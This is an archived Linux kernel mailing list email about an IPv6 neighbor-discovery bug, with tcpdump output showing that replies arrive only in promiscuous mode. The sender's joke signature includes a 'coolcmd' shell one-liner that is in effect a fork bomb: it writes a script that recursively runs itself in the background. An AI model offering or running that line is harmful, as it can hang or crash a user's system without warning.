Return-Path: Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand id S1757481Ab0HQOJN (ORCPT ); Tue, 17 Aug 2010 10:09:13 -0400 Received: from reptilian.habets.pp.se ([193.151.93.131]:4759 "EHLO reptilian.habets.pp.se" rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP id S1753635Ab0HQOJL (ORCPT ); Tue, 17 Aug 2010 10:09:11 -0400 Date: Tue, 17 Aug 2010 16:09:02 +0200 (CEST) From: Thomas Habets X-X-Sender: thompa@red.crap.retrofitta.se To: Eric Dumazet cc: Thomas Habets , linux-kernel@vger.kernel.org, netdev Subject: Re: BUG: IPv6 stops working after a while, needs ip ne del command to reset In-Reply-To: <1282050920.2448.47.camel@edumazet-laptop> Message-ID: References: <1281953960.2524.23.camel@edumazet-laptop> <1282024802.2487.687.camel@edumazet-laptop> <1282050920.2448.47.camel@edumazet-laptop> User-Agent: Alpine 1.10 (DEB 962 2008-03-14) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Sender: linux-kernel-owner@vger.kernel.org List-ID: X-Mailing-List: linux-kernel@vger.kernel.org Content-Length: 3148 Lines: 72 On Tue, 17 Aug 2010, Eric Dumazet wrote: > Can you try : "ifconfig eth0 allmulti" That didn't help. "ifconfig eth0" and "ip l" shows that allmulti is now set, but no other difference. Can't ping router, and router gets no answer when pinging ff02::1. No message in dmesg saying allmulti isn't supported or anything like that either. > If you let a "tcpdump" running with -p option, do you receive the packet > sent to ethernet dest 33:33:ff:5c:00:02 ? No. Commented tcpdump output below. > If you can see it with tcpdump, then NIC gave the frame to us. Seems to be invisible unless I or tcpdump set promisc mode. But when promisc mode is set I can immediately see the 33:33:ff:5c:00:02 packet (ND solicitation) and I see that Linux is answering it. Here's a tcpdump from the Linux host. It's slightliy trimmed to fit in an email, but the full dump is at http://www.habets.pp.se/tmp/ipv6.pcap $ sudo tcpdump -pnli eth0 -s0 -w ipv6.pcap ip6 [...] $ tcpdump -nlr ipv6.pcap 2a00:800:752:1::5c:2 > 2a00:800:752:1::5c:1: ICMP6, echo request 2a00:800:752:1::5c:1 > 2a00:800:752:1::5c:2: ICMP6, echo reply 2a00:800:752:1::5c:2 > 2a00:800:752:1::5c:1: ICMP6, echo request 2a00:800:752:1::5c:1 > 2a00:800:752:1::5c:2: ICMP6, echo reply 2a00:800:752:1::5c:2 > 2a00:800:752:1::5c:1: ICMP6, echo request 2a00:800:752:1::5c:1 > 2a00:800:752:1::5c:2: ICMP6, echo reply [ here I run "clear ipv6 neighbors" on the Cisco router ] 2a00:800:752:1::5c:2 > 2a00:800:752:1::5c:1: ICMP6, echo request 2a00:800:752:1::5c:2 > 2a00:800:752:1::5c:1: ICMP6, echo request [ ... more repeated echo requests, no reply ... ] [ here i run "ip l set promisc on eth0" ] 2a00:800:752:1::5c:1 > ff02::1:ff5c:2: ICMP6, neighbor solicitation, who has 2a00:800:752:1::5c:2 2a00:800:752:1::5c:2 > 2a00:800:752:1::5c:1: ICMP6,neighbor advertisement, tgt is 2a00:800:752:1::5c:2 2a00:800:752:1::5c:1 > 2a00:800:752:1::5c:2: ICMP6, echo reply 2a00:800:752:1::5c:2 > 2a00:800:752:1::5c:1: ICMP6, echo request 2a00:800:752:1::5c:1 > 2a00:800:752:1::5c:2: ICMP6, echo reply 2a00:800:752:1::5c:2 > 2a00:800:752:1::5c:1: ICMP6, echo request 2a00:800:752:1::5c:1 > 2a00:800:752:1::5c:2: ICMP6, echo reply [ here I run "clear ipv6 neigbors" again ] 2a00:800:752:1::5c:2 > 2a00:800:752:1::5c:1: ICMP6, echo request 2a00:800:752:1::5c:2 > 2a00:800:752:1::5c:1: ICMP6, echo request 2a00:800:752:1::5c:2 > 2a00:800:752:1::5c:1: ICMP6, echo request 2a00:800:752:1::5c:2 > 2a00:800:752:1::5c:1: ICMP6, echo request 2a00:800:752:1::5c:2 > 2a00:800:752:1::5c:1: ICMP6, echo request --------- typedef struct me_s { char name[] = { "Thomas Habets" }; char email[] = { "thomas@habets.pp.se" }; char kernel[] = { "Linux" }; char *pgpKey[] = { "http://www.habets.pp.se/pubkey.txt" }; char pgp[] = { "A8A3 D1DD 4AE0 8467 7FDE 0945 286A E90A AD48 E854" }; char coolcmd[] = { "echo '. ./_&. ./_'>_;. ./_" }; } me_t; -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majordomo@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/